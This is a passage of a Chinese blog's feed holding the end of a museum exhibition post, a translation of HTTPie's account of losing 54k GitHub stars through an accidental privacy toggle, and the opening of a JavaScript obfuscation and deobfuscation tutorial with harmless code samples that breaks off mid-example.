src="https://img.alexation.cn/blog/post/exhibition/xixi/28.jpg" alt="" style="zoom:50%;" /><img src="https://img.alexation.cn/blog/post/exhibition/xixi/29.jpg" alt="" style="zoom:50%;" /><h2 id="五、总结">五、总结</h2><p>伊丽莎白王后的形象，她在神话和真是历史事件的迷雾中若隐若现。围绕她的人物传说和信仰，以及小说和电影，往往富含虚构元素，激发人们对她那迷人又矛盾的个性产生浓厚而热烈的兴趣。与我们的想象相反，科学研究旨在根据真实的事实和真实的文物，同时呈现“伊丽莎白”这一称谓、历史人物和伊丽莎白王后本人的含义。从本次的展览可以看到王后最真实的面目以及辉煌时代的艺术瑰宝。能够看到国家博物馆和格德勒皇宫这两大机构在北京共同展示的他们最珍贵的宝藏和深受爱戴的匈牙利王后，这是一件非常荣幸的事情。🥰</p><p>本次所拍摄图片来自小编本人：机身采用高性能轻量机型 Canon R10，镜头采用副厂适马18-50mm F2.8 DC DN│Contemporary。有别于过往的 EF 镜年代，Canon 用家有大量的副厂镜选择，来到 RF 接环无反镜年代，由于 Canon 不愿意开放授权，以致独立镜头无法循正途生产及推出采用 RF 接环的镜头。一直到今年初 Canon 态度终于软化，宣布先开放APS-C 镜头的授权，而首支 RF 接环副厂镜的效果结合价格来看表现是十分完美的。其配备恒定F2.8大光圈，对接半全画幅机身，非常适合用它搭配小体积机身作为日常挂机等用途。</p><p>以上就是本次展览的全部内容啦！我们下期再见😘</p>]]></content>
    
    
    <summary type="html">璀璨一生折射辉煌艺术时代</summary>
    
    
    
    <category term="展览" scheme="https://blog.alexation.cn/categories/%E5%B1%95%E8%A7%88/"/>
    
    
    <category term="Exhibition" scheme="https://blog.alexation.cn/tags/Exhibition/"/>
    
  </entry>
  
  <entry>
    <title>HTTPie是如何丢失5.4万Star的</title>
    <link href="https://blog.alexation.cn/trans/how-we-lost-54k-github-stars/"/>
    <id>https://blog.alexation.cn/trans/how-we-lost-54k-github-stars/</id>
    <published>2024-03-18T22:05:05.000Z</published>
    <updated>2025-11-23T06:44:13.969Z</updated>
    
    <content type="html"><![CDATA[<div class="note blue anzhiyufont anzhiyu-icon-bullhorn modern"><p>春天快到了！</p></div><h1>本文章来源背景</h1><p>某一天（对就是前几天），我在图书馆搜索关于FastAPI的相关书籍时，找到了《Python FastAPI构建数据科学应用》这本书。该书在2022年5月出的第一版，也是第一次印刷，虽然它已经入住图书馆两年，但好像我是这本书的第一位读者。。。</p><img src="https://img.alexation.cn/blog/post/trans/how-we-lost-54k-github-stars/1.webp" alt="对就是这本书" style="zoom:50%;" /><div class="img-alt is-center">对就是这本书。</div><p>开始读的时候我才发现，上一句话是有原因的。该书从Python基础讲起，后介绍了FastAPI作为后端框架比较基础的使用模型，在后面几章还有关于NumPy、scikit-learn、OpenCV等与主题不相干的知识（没错、和FastAPI都没有一点关系），但是我找到了一个很有趣的工具——HTTPie。</p><p>针对以前做后端接口调试和爬虫请求验证时，我一般使用Postman，但是相对HTTPie来说有些过于繁琐。即使可视化工具很好而且易于使用，但有时也会缺乏一些灵活性，不如命令行工具那么高效。另一方面，cURL是一个非常强大的工具，有数千个选项，但是对于测试简单的REST API而言，可能它会显得非常复杂和冗长。</p><p>在搜索相关资料时，我发现HTTPie还有一件“乌龙”事件：54k<span class="emoji" alias="star" style="" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/2b50.png?v8">⭐</span>在某一夜清零了，作者表示非常懊恼，官方专门写了一篇博客来反思整件事情。本着学习的态度，我决定将原文翻译成中文，并附上一些语言的翻译链接，基于作者不高的翻译水平与空空如也的翻译经验，本篇文章翻译质量可能不及您的预期，如果你想要更为精准、更为流利的翻译请移步👇。</p><div calss='anzhiyu-tag-link'><a class="tag-Link" target="_blank" href="https://icloudnative.io/posts/how-we-lost-54k-github-stars/">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="">          <i class="anzhiyufont anzhiyu-icon-link" style=""></i>        </div>        <div class="tag-link-right">            <div class="tag-link-title">HTTPie 是如何丢失 5.4 万 Star 的</div>            <div class="tag-link-sitename"> 云原生实验室</div>        </div>        <i class="anzhiyufont anzhiyu-icon-angle-right"></i>    </div>    </a></div><div class="tip sync"><p>官方博客原文链接：<a href="https://httpie.io/blog/stardust">How we lost 54k GitHub stars</a></p></div><h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">我们是如何损失5.4万star的</h1><p>社区翻译：<a href="https://qiita.com/rana_kualu/items/50337d2b4de47d2e994b">Japanese</a>, <a href="https://habr.com/ru/company/skillfactory/blog/662155/">Russian</a></p><h2 id="获得5-4万GitHub-stars">获得5.4万GitHub stars</h2><p>HTTPie for Terminal 自<a href="https://github.com/httpie/cli/commit/b966efa17">第一次提交</a>以来已经有 10 年了。</p><p>如果你对这个项目不熟悉，它是一个开源的 CLI HTTP 客户端。HTTPie 之所以与众不同，是因为我们从头开始构建，让终端的 API 交互尽可能地对人友好。</p><p>从首次公开发布开始，即 2012 年 2 月 25 日，在下雨的哥本哈根，我们就将项目托管在 GitHub 上。</p><p>我自几年前成为 GitHub 成员以来就一直是 GitHub 的粉丝（甚至穿着印有 Octocat 的 T 恤）。那时候 GitHub 的<a href="https://web.archive.org/web/20120202143615/https:/github.com/about">关于页面</a>自豪地宣称他们没有接受过任何风险投资，并告诉你他们 SF 办公室有多少种美味的啤酒。</p><p>所以当我意识到自己解决 API 测试问题的成果可能会引起更广泛的开发者社区的兴趣时，GitHub 成为了一个显而易见的选择。而它确实引起了兴趣。</p><p>我记得 HTTPie 第一次成为 Hacker News 上最热门的链接时的激动，也看到了 GitHub 社区的增长。随着多年来我们不断改进项目，它不断吸引着广泛的采用。它成为了平台上最受欢迎的 API 工具，并且 GitHub 社区增长到了 54k 颗星和 1k+ 观察者。</p><img src="https://img.alexation.cn/blog/post/trans/how-we-lost-54k-github-stars/2.webp" style="zoom: 50%;" /><p>这里有 <a href="https://github.com/search">2.89 亿个公共仓库</a>，因此 HTTPie 跻身 GitHub 上最受欢迎的 80 个公共仓库之列； 在 99.99997203 百分位。 简而言之，看到这个不起眼的工具吸引了如此规模的社区，真是令人难以置信。 GitHub 在其中发挥了重要作用。</p><p>就像我们从 GitHub 的“社交编码”功能中受益一样，GitHub 也从我们在其平台上托管这个流行项目中受益。 过去的十年中，可能有数百万开发人员访问了我们的 GitHub 页面。 这有助于巩固 GitHub（微软）作为一家关心开源和社区的公司的地位。 这是一种共生关系。</p><h2 id="失去-54k-GitHub-star">失去 54k GitHub star</h2><p>然而，如果您是我们 55k 的观星者和观察者之一，那么从几周前起您就不再是 💔</p><h3 id="发生了什么？">发生了什么？</h3><p>由于一系列不幸的事件，我不小心将该项目的仓库库暂时设为私有。 GitHub 级联删除了我们花了 10 年建立的社区。</p><img src="https://img.alexation.cn/blog/post/trans/how-we-lost-54k-github-stars/3.webp" style="zoom: 50%;" /><h3 id="这意味着什么？">这意味着什么？</h3><p>例如，如果您是下游维护者或之前关注 <a href="https://github.com/httpie/cli"> httpie/cli</a> 通知的任何人，您将需要重新关注该仓库。 顺便说一句，我们最近发布了一个<a href="https://httpie.io/blog/httpie-3.1.0">安全版本</a>。</p><p>对于星星来说也是如此。 如果您是过去十年中曾为该仓库加注星标的 54K 人之一，那么该仓库将不再属于您的加星标项目。</p><h3 id="你为什么将仓库设为私有？">你为什么将仓库设为私有？</h3><p>温和地说，将仓库设为私有会永久删除所有观察者和星星，这是 GitHub 的一个特点。 我甚至意识到了这一点，但是我仍然没有格外注意地将 <code>httpie/cli</code> 设为私有。 那么，为什么呢？</p><img src="https://img.alexation.cn/blog/post/trans/how-we-lost-54k-github-stars/4.webp" style="zoom: 50%;" /><p>直接原因是我认为我在另一个仓库中； 一个没有内容且没有星星的。 我实际上想做的是隐藏 <a href="https://github.com/httpie">HTTPie 组织</a> 的配置文件自述文件，该文件是我在一周前创建的，但没有机会填充。</p><p>让我走上错误道路的是一个完全不相关的操作：我刚刚通过将 <code>jkbrzt/jkbrzt</code> 设为私有，在我的个人资料上做了同样的事情（即隐藏了一个空的自述文件）。</p><p>当涉及到配置文件和仓库时，GitHub 的概念模型将用户和组织视为非常相似的实体。 在这种情况下，由于我只想在我们组织的个人资料上重复相同的良性操作，所以我的大脑切换到自动驾驶模式。</p><p>我目前没有意识到这个包含配置文件自述文件的特殊仓库的命名不一致，并且它对于用户和组织来说是不同的：<code>name/name</code> vs. <code>name/.github</code>.。</p><p>这就是为什么我继续将 <code>httpie/cli</code> 而不是 <code>httpie/.github</code> 设为私有，却没有意识到自己的错误。</p><h3 id="但有一个确认提示，对吧？">但有一个确认提示，对吧？</h3><p>这里确实有一个确认框。 它的目的是阻止像我这样的情况的用户做一些愚蠢的事情。 它告诉你*“你将永久失去这个仓库的所有星星和观察者。”* 这太可怕了。</p><p>问题在于，对于没有提交和星星的仓库以及具有十年历史和 55,000 名观星者和观察者的仓库，该框看起来完全相同。 上面写着*“警告：这是一种<strong>潜在的破坏性</strong>行为。”*</p><p>换句话说，盒子告诉你“你要拆除一座房子。 <strong>如果</strong>里面有人的话，他们都会死。”</p><p>但如果你混淆了地址并认为自己看到的是一栋空房子，它不包含任何具体的内容来让你摆脱自动驾驶模式。</p><p>一个 54k 星问题：这两个对话框中哪一个可以安全确认，哪一个会删除 10 年历史的社区？</p><img src="https://img.alexation.cn/blog/post/trans/how-we-lost-54k-github-stars/5.webp" style="zoom: 50%;" /><p>对话应该更加符合上下文，并且再次解释一下，它应该说*“你将杀死 55,000 人。”* 这肯定会让我停下来。</p><h3 id="所以您将其设置为私有，只需按下开关即可！">所以您将其设置为私有，只需按下开关即可！</h3><p>你可以想象当我回到组织页面时我的困惑，我不仅仍然可以看到空白如也的 README ，而且我们最受欢迎的仓库也找不到了。 过了一会儿我意识到发生了什么事。 所以我回到仓库的设置来切换开关。 但 GitHub 不允许我这样做——整整半个小时。</p><img src="https://img.alexation.cn/blog/post/trans/how-we-lost-54k-github-stars/6.webp" style="zoom: 50%;" /><p>如果你想知道为什么这么久，那是因为 🥁 这就是 GitHub 花了多长时间级联删除我们十年来的观星者和观察者。 并且没有办法阻止这个过程。 我所能做的就是开始写信给 GitHub 支持，刷新页面并等待星星数量达到零，然后才能再次公开。</p><h3 id="为什么GitHub不恢复？">为什么GitHub不恢复？</h3><p>GitHub 显然有备份。 而且确实可以弥补因意外将回购私有化而造成的损害。 GitHub 团队自己不小心将 <a href="https://github.com/desktop/desktop">GitHub Desktop 应用程序仓库</a> 设为私有。 他们在几个小时内就为自己恢复了一切。 以下是 GitHub 前首席执行官对 <a href="https://twitter.com/natfriedman/status/1328410589291446274">当时情况的解释</a>：</p><img src="https://img.alexation.cn/blog/post/trans/how-we-lost-54k-github-stars/7.webp" style="zoom: 50%;" /><p>然而，在我们的案例中，他们拒绝这样做，理由是不良副作用和资源成本。 我们甚至为 GitHub 提供了所需资源的经济补偿。 但遗憾的是，他们拒绝了。 除了复兴其平台上最古老、最受欢迎的社区项目之一的社区之外，他们还有其他优先事项。</p><p>不幸的是，问题的答案如下：GitHub 将通过将其设为私有来恢复损坏的仓库。 但前提是这是他们自己的项目之一，而不是社区项目。 后者充其量只能得到一条推文。</p><h2 id="得到的教训">得到的教训</h2><p>人们不应该让一场好的危机白白浪费。 我们的选择是有限的，但至少有一些值得分享的经验教训。</p><h3 id="第-1-课：UI-UX-设计">第 1 课：UI/UX 设计</h3><p>展示，而不是讲述。 以别让我思考的方式设计确认对话框。 当用户要破坏某些东西时，不要用抽象的词语将其描述为用户需要将其转换为心理图像并赋予其价值的潜在场景。 特别是当级联删除作为主要操作的副作用时。 例如，我们在 <a href="https://httpie.io/desktop">桌面版 HTTPie</a> 中的处理方法如下：</p><img src="https://img.alexation.cn/blog/post/trans/how-we-lost-54k-github-stars/8.webp" style="zoom: 50%;" /><p>当然，对话应该反映副作用的严重程度。 当完全没有副作用时，它应该是无需通知的。 否则，我们可能会浪费用户有限的注意力资本，从而降低用户的敏感度：</p><img src="https://img.alexation.cn/blog/post/trans/how-we-lost-54k-github-stars/9.webp" style="zoom: 50%;" /><h3 id="第-2-课：数据库设计">第 2 课：数据库设计</h3><p>使用软删除。 人都是人，他们也会犯错误。 对于硬删除，请延迟该过程。</p><img src="https://img.alexation.cn/blog/post/trans/how-we-lost-54k-github-stars/10.webp" style="zoom: 50%;" /><h3 id="第-3-课：与-GitHub-的关系">第 3 课：与 GitHub 的关系</h3><p>这是我们这边的人为错误，GitHub 明确表示他们没有法律义务帮助我们。 我们长达十年的互利关系的基调是由 GitHub 的服务条款确定的。 认为还有更多的事情是天真的。</p><p>毕竟，GitHub 历来曾采取有 <a href="https://news.ycombinator.com/item?id=24872911">争议的行为</a> ，这些行为违背了开源和社区的精神，然后仅在公众愤怒的情况下才将其<a href="https://github.blog/2020-11-16-standing-up-for-developers-youtube-dl-is-back/">恢复</a>。 而微软（现在拥有 GitHub）尽管最近对开源产生了浓厚的兴趣，但并不总是享有很高的声誉。</p><h2 id="下一步是什么？">下一步是什么？</h2><p>我们仍然希望 GitHub/微软能够改变他们机器般的态度，并有一天恢复该项目的社区。 他们仍然拥有做到这一点的所有数据和手段。 我们也希望他们改进 UI 和数据库设计，以防止将来 <a href="https://twitter.com/sourcegraph/status/1070201585102274561">其他团队</a> 发生这种情况。</p><p>与此同时，您可以通过分享这个故事并重新 <a href="https://github.com/httpie/cli">star and watch 我们的仓库</a> 来帮助我们。</p><p>至于我，我可能会暂时不再穿印有章鱼图案的 T 恤。</p><h2 id="结语">结语</h2><p>尽管我们的 GitHub 星星已化为尘埃，但 HTTPie 的表现却从未如此出色。 最初只是一个业余项目，最近已经成为一家公司，我们的团队正在将 HTTPie 发展成为一个 API 开发平台（正如您对 HTTPie 的期望一样令人愉快）。<a href="https://httpie.io/desktop">HTTPie Web 和桌面版</a> 的内测版已经收到了很好的反馈，我们迫不及待地想在接下来的几周内向公众发布它。</p><p>如果您想了解最新动态，可以加入我们的<a href="https://discord.com/invite/httpie"> Discord 社区</a>或关注 <a href="https://twitter.com/httpie">@httpie</a>。</p><h2 id="✏️四个月后更新">✏️四个月后更新</h2><p>对这个故事的兴趣让我们大吃一惊。 截至 22 日 8 月，该帖子已被超过 10 万人阅读，并在 Twitter 和其他地方被<a href="https://twitter.com/search?q=https%3A%2F%2Fhttpie.io%2Fblog%2Fstardust&amp;src=typed_query">分享</a>了数千次，并且连续几天成为 Hacker News 上的<a href="https://news.ycombinator.com/item?id=31033758">热门帖子</a>。</p><p>我们还收到了来自开源社区的大量同情和公众支持的呼吁，我们对此深表感激。 结果，HTTPie for Terminal 在几个月内就重新获得了令人难以置信的 23,000 个观星者。</p><img src="https://img.alexation.cn/blog/post/trans/how-we-lost-54k-github-stars/11.webp" style="zoom: 50%;" /><p>我们从未收到过 GitHub 的消息。 但至少在这篇文章发布后不久，他们就悄悄地改进了破坏性的“更改仓库可见性”对话框的 UI。</p><img src="https://img.alexation.cn/blog/post/trans/how-we-lost-54k-github-stars/12.webp" style="zoom: 50%;" /><h2 id="✏️更新二">✏️更新二</h2><p>自上次更新以来，一位负责收购 GitHub 的微软人士亲自在 Twitter 上联系了我。 他甚至声称找到了我们的星星！</p><img src="https://img.alexation.cn/blog/post/trans/how-we-lost-54k-github-stars/13.webp" style="zoom: 50%;" /><p>然而遗憾的是，从那以后我们就没有收到他的消息了。 但我们为 T3 感到高兴，它删除的仓库GitHub 已成功<a href="https://twitter.com/t3dotgg/status/1556009443548094465">恢复</a>，包括所有分支和星星。</p><img src="https://img.alexation.cn/blog/post/trans/how-we-lost-54k-github-stars/14.webp" style="zoom: 50%;" /><p>另一个证据证明完全恢复确实是可能的。</p><h1>文章部分英文单词</h1><p><s>（好吧我承认就是我不认识）</s></p><div class="tip cogs"><p>以下单词释义来源剑桥词典：<a href="https://dictionary.cambridge.org/">https://dictionary.cambridge.org/</a></p></div><details class="folding-tag" ><summary> Copenhagen </summary>              <div class='content'>              <p><em><strong>noun</strong></em><br><strong>UK</strong>  /ˌkəʊ.pənˈheɪ.ɡən/ <strong>US</strong>  /ˌkoʊ.pənˈheɪ.ɡən/</p><ul><li><p><strong>the capital city of Denmark, situated in the eastern part of the country</strong></p><p>哥本哈根（丹麦首都，位于丹麦东部）</p></li></ul>              </div>            </details><details class="folding-tag" ><summary> proclaim </summary>              <div class='content'>              <p><em><strong>verb</strong></em> [ T ]<br><strong>UK</strong>  /prəˈkleɪm/ <strong>US</strong>  /proʊˈkleɪm/</p><ul><li><p><strong>to announce something publicly or officially, especially something positive</strong></p><p>宣布;声明</p><ul><li><em>All the countries have proclaimed their loyalty to the alliance.</em></li><li>所有的国家都表明了他们对联盟的忠诚。</li><li><em>Republican party members were confidently proclaiming victory even as the first few votes came in.</em></li><li>刚刚得到几张选票，共和党人就准备自信地宣布胜利了。</li><li><em>[ + that ] It was the famous speech in which he proclaimed that socialism was dead.</em></li><li>就是在那场著名的演讲中他宣称社会主义已经死亡。</li><li><em>[ + two objects ] She was proclaimed Queen at the age of 13 after the sudden death of her father.</em></li><li>父亲突然去世后，她13岁就被立为女王。</li></ul></li></ul>              </div>            </details><details class="folding-tag" ><summary> itch </summary>              <div class='content'>              <p><em><strong>verb</strong></em> [ I ] <em><strong>noun</strong></em> [ C ]<br><strong>UK</strong>  /ɪtʃ/ <strong>US</strong>  /ɪtʃ/</p><ul><li><p><strong>to have or cause an uncomfortable feeling on the skin that makes you want to rub it with your nails</strong></p><p>发痒</p><p><em>I can’t wear wool - it makes me itch.</em></p><p>我不能穿毛料衣服——穿了就浑身发痒。</p></li></ul>              </div>            </details><details class="folding-tag" ><summary> stargazer </summary>              <div class='content'>              <p><em><strong>noun</strong></em> [ C ] (also star-gazer, star gazer)<br><strong>UK</strong>  /ˈstɑːˌɡeɪ.zər/ <strong>US</strong>  /ˈstɑːrˌɡeɪ.zɚ/</p><ul><li><p><strong>a person who is involved in astronomy or astrology</strong></p><p>天文学家;占星术士</p><ul><li><em>Environmentalists and stargazers both want dark skies.</em></li><li><em>Star gazers with small telescopes may be able to spot the comet on Monday night.</em></li></ul></li></ul>              </div>            </details><details class="folding-tag" ><summary> percentile </summary>              <div class='content'>              <p><em><strong>noun</strong></em> [ C ]   MATHEMATICS, SCIENCE   specialized<br><strong>UK</strong>  /pəˈsen.taɪl/ <strong>US</strong>  /pɚˈsen.taɪl/</p><ul><li><p><strong>one of the points into which a large range of numbers, results, etc. is divided to make 100 groups of the same size</strong></p><p>百分位（数）;百分位（数）之一</p><p><em>That score puts you in the 97th percentile.</em></p><p>那个分数使你处于百分位排名的第97位。</p></li></ul>              </div>            </details><details class="folding-tag" ><summary> magnitude </summary>              <div class='content'>              <p><em><strong>noun</strong></em> [ U ]<br><strong>UK</strong>  /ˈmæɡ.nɪ.tʃuːd/ <strong>US</strong>  /ˈmæɡ.nə.tuːd/</p><ul><li><p><strong>the large size or importance of something</strong></p><p>巨大；重大，重要性</p><p><em>They don’t seem to grasp the magnitude of the problem.</em></p><p>他们似乎未领会问题的重要性。</p></li></ul>              </div>            </details><details class="folding-tag" ><summary> benign </summary>              <div class='content'>              <p><em><strong>adjective</strong></em><br><strong>UK</strong>  /bɪˈnaɪn/ <strong>US</strong>  /bɪˈnaɪn/</p><ul><li><p>benign adjective (PERSON)</p><p><strong>pleasant and kind</strong></p><p>慈祥的;和善的</p><p><em>a benign old lady</em></p><p>慈祥的老妇人</p></li><li><p>benign adjective (DISEASE)</p><p><strong>A benigntumour is not likely to cause death.</strong></p><p>良性的</p><p><em>a benign tumour</em></p><p>良性肿瘤</p></li></ul>              </div>            </details><details class="folding-tag" ><summary> demolish </summary>              <div class='content'>              <p><em><strong>verb</strong></em> [ T ]<br><strong>UK</strong>  /dɪˈmɒl.ɪʃ/ <strong>US</strong>  /dɪˈmɑː.lɪʃ/</p><ul><li><p><strong>to completely destroy a building, especially in order to use the land for something else</strong></p><p>（尤指为利用土地而）拆除，拆毁</p><ul><li><p><em>A number of houses were demolished so that the supermarket could be built.</em></p><p>为了修建超级市场，很多房屋被拆除了。</p></li></ul></li><li><p>to prove that an argument or theory is wrong</p><p>推翻（论点），颠覆（理论）</p><ul><li><p><em>He completely demolished all her arguments.</em></p><p>他彻底推翻了她的全部论点。</p></li></ul></li></ul>              </div>            </details><details class="folding-tag" ><summary> resurrect </summary>              <div class='content'>              <p><em><strong>verb</strong></em> [ T ]<br><strong>UK</strong>  /ˌrez.ərˈekt/ <strong>US</strong>  /ˌrez.əˈrekt/</p><ul><li><p><strong>to bring someone back to life</strong></p><p>使复活，使起死回生</p><ul><li><p><em>Almost all Christians believe that Jesus was resurrected from the dead.</em></p><p>几乎所有的基督徒都相信耶稣死而复生。</p></li></ul></li><li><p><strong>to bring back something into use or existence that had disappeared or ended</strong></p><p>重新使用;恢复;使重新流行</p><ul><li><p><em>Several members of the party have resurrected the idea of constitutional change.</em></p><p>该党几位党员重新提出了修改宪法的主张。</p></li><li><p><em>She has been busily trying to resurrect her Hollywood career.</em></p><p>她一直奔忙，试图重振她的好莱坞演艺生涯。</p></li></ul></li></ul>              </div>            </details><details class="folding-tag" ><summary> tweet </summary>              <div class='content'>              <p><em><strong>noun</strong></em> [ C ]   informal <em><strong>verb</strong></em><br><strong>UK</strong>  /twiːt/ <strong>US</strong>  /twiːt/</p><ul><li><p>tweet noun [C] (BIRD)</p><p><strong>a short, high sound made by a bird</strong></p><p>（小鸟的）啾啾叫，啁啾声</p></li><li><p>tweet noun [C] (SOCIAL MEDIA)</p><p><strong>a short remark or piece of information published on Twitter</strong></p><p>发布在推特上的信息</p></li></ul>              </div>            </details><details class="folding-tag" ><summary> desensitize </summary>              <div class='content'>              <p><em><strong>verb</strong></em> [ T ] (UK usually desensitise)<br><strong>UK</strong>  /ˌdiːˈsen.sɪ.taɪz/ <strong>US</strong>  /ˌdiːˈsen.sə.taɪz/</p><p><strong>to cause someone to experience something, usually an emotion or a pain, less strongly than before</strong></p><p>使迟钝，使麻木</p><ul><li><p><em>Seeing too much violence on television can desensitize people to it.</em></p><p>电视上过多的暴力场面会使人对此变得麻木起来。</p></li></ul>              </div>            </details>]]></content>
    
    
    <summary type="html">HTTPie是如何丢失5.4万Star的</summary>
    
    
    
    <category term="文章翻译" scheme="https://blog.alexation.cn/categories/%E6%96%87%E7%AB%A0%E7%BF%BB%E8%AF%91/"/>
    
    
    <category term="Github" scheme="https://blog.alexation.cn/tags/Github/"/>
    
  </entry>
  
  <entry>
    <title>JS混淆与反混淆</title>
    <link href="https://blog.alexation.cn/frontend/confuse/"/>
    <id>https://blog.alexation.cn/frontend/confuse/</id>
    <published>2023-12-25T11:57:33.000Z</published>
    <updated>2025-11-23T06:40:06.499Z</updated>
    
    <content type="html"><![CDATA[<h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">js混淆的利与弊</h1><p><strong>站在网站开发者的角度</strong></p><p>1、是为了保护我们的前端代码逻辑<br>2、精简代码、加快传输</p><p><strong>站在爬虫者的角度</strong></p><p>1、增加了获取数据的难度</p><h2 id="常见混淆与反混淆方法">常见混淆与反混淆方法</h2><h3 id="JS压缩">JS压缩</h3><p>特征：</p><p><img src="https://img.alexation.cn/blog/post/javascript/confuse/1.png" alt=""></p><p>原理：<br>削减是一个从源代码中删除不必要的字符的技术使它看起来简单而整洁。这种技术也 被称为代码压缩和最小化</p><h3 id="eval加密">eval加密</h3><p>js中的 eval() 方法就是一个 js 语言的执行器，它能把其中的参数按照 JavaScript 语法进行解析并执行，简单来说就是把原本的 js 代码变成了 eval 的参数，变成参数后代码就成了字符串，其中的一些字符就会被按照特定格式“编码”</p><p><strong>特征：</strong></p><p>最明显的特征是生成的代码以 eval(function(p,a,c,k,e,r)) 开头</p><p><img src="https://img.alexation.cn/blog/post/javascript/confuse/2.png" alt=""></p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function">eval</span><span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token number">200</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre><p><strong>原理：</strong></p><p>这类混淆的关键思想在于将需要执行的代码进行一次编码，在执行的时候还原出浏览器可执行的合法 的脚本</p><p><strong>破解方法-浏览器</strong><br>打开 谷歌 或者 火狐 浏览器<br>按 F12 打开控制台<br>把代码复制进去<br>删除开头 eval 这4个字母<br>按回车键</p><p><strong>破解方法-node.js</strong></p><p>将eval 的内容转变为普通的函数</p><h3 id="变量名混淆">变量名混淆</h3><p><img src="https://img.alexation.cn/blog/post/javascript/confuse/3.png" alt=""></p><p><strong>原理：</strong></p><p><strong>字符串字面量混淆：</strong> 首先提取全部的字符串，在全局作用域创建一个字符串数组，同时转义字符增大 阅读难度，然后将字符串出现的地方替换成为数组元素的引用</p><pre class="language-JavaScript" data-language="JavaScript"><code class="language-JavaScript">var _0x3012 &#x3D; [&#39;substring&#39;, &#39;atob&#39;, &#39;charCodeAt&#39;, &#39;push&#39;, &#39;test&#39;];&#x2F;&#x2F; 打乱数组的内容(function(_0x3ed35c, _0x48b8fe) &#123;    var _0x1ad9d9 &#x3D; function(_0x8eeda7) &#123;        while (--_0x8eeda7) &#123;            _0x3ed35c[&#39;push&#39;](_0x3ed35c[&#39;shift&#39;]());        &#125;    &#125;;    _0x1ad9d9(++_0x48b8fe);&#125;(_0x3012, 0x153));&#x2F;&#x2F; 用函数实现字符串的调用var _0x3a8e &#x3D; function(_0xc40c11, _0x32bbb2) &#123;    _0xc40c11 &#x3D; _0xc40c11 - 0x0;    var _0x4e269a &#x3D; _0x3012[_0xc40c11];    return _0x4e269a;&#125;;console.log(_0x3a8e(&#39;0x4&#39;));</code></pre><p>**变量名混淆：**不同于压缩器的缩短命名，此处使用了下划线加数字的格式，变量之间区分度很低，相 比单个字母更难以阅读</p><pre class="language-JavaScript" data-language="JavaScript"><code class="language-JavaScript">&#x2F;*变量名混淆*&#x2F;var _0x3a8e &#x3D; function(_0xc40c11, _0x32bbb2) &#123;    _0xc40c11 &#x3D; _0xc40c11 - 0x0;    var _0x4e269a &#x3D; _0x3012[_0xc40c11];    return _0x4e269a;&#125;;</code></pre><p>**成员运算符混淆：**将点运算符替换为字符串下标形式，然后对字符串进行混淆删除多余的空白字符：减小文件体积，这是所有压缩器都会做的事</p><pre class="language-JavaScript" data-language="JavaScript"><code class="language-JavaScript">&#x2F;*成员运算符混淆*&#x2F;console.log((&#39;&#39;)[&#39;\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72&#39;][&#39;\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65&#39;](65));console.log((&#39;&#39;)[&#39;constructor&#39;][&#39;fromCharCode&#39;](65));console.log(&#39;&#39;.constructor.fromCharCode(65))console.log(&#39;&#39;.constructor)console.log(String.fromCharCode(65));</code></pre><p>破解方法-IDE、解密工具、浏览器：特殊字符变成普通内容</p><p><strong>特征：</strong></p><p><img src="https://img.alexation.cn/blog/post/javascript/confuse/4.png" alt=""></p><ol><li><p>把变量名、函数名、参数名等，替换成没有语义，看着又很像的名字。</p><pre class="language-none"><code class="language-none">_0x21dd83、_0x21dd84、_0x21dd85</code></pre></li><li><p>用十六进制文本去表示一个字符串</p><pre class="language-none"><code class="language-none">\x56\x49\x12\x23</code></pre></li><li><p>利用JS能识别的编码来做混淆。JS是Unicode编码，本身就能识别这种编码。类似的一些变量名，函数名都可以用这个表示，并且调用。</p></li></ol><p>类似:</p><p><code>\u6210\u529f</code> 表示中文字符(成功)。</p><p>类似:</p><p><code>\u0053\u0074\u0072\u0069\u006e\u0067.\u0066\u0072\u006f\u006d\u0043\u0068\u0061\u0072\u0043\u006f\u0064\u0065</code>  代表 String.fromCharCode</p><p>类似：</p><p><code>('')['\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72']['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'];</code> 效果等同于String.fromCharCode</p><ol start="4"><li><p>把一大堆方法名、字符串等存到数组中，这个数组可以是上千个成员。然后调用的时候，取数组成员去用</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"Date"</span><span class="token punctuation">,</span><span class="token string">"getTime"</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">var</span> time <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">window</span><span class="token punctuation">[</span>arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span>arr<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>time<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></li><li><p>字符串加密后发送到前端，然后前端调用对应的函数去解密，得到明文</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'xxxx'</span><span class="token punctuation">]</span><span class="token comment">// 定义的解密函数</span><span class="token keyword">function</span> <span class="token function">dec</span><span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token string">'push'</span><span class="token 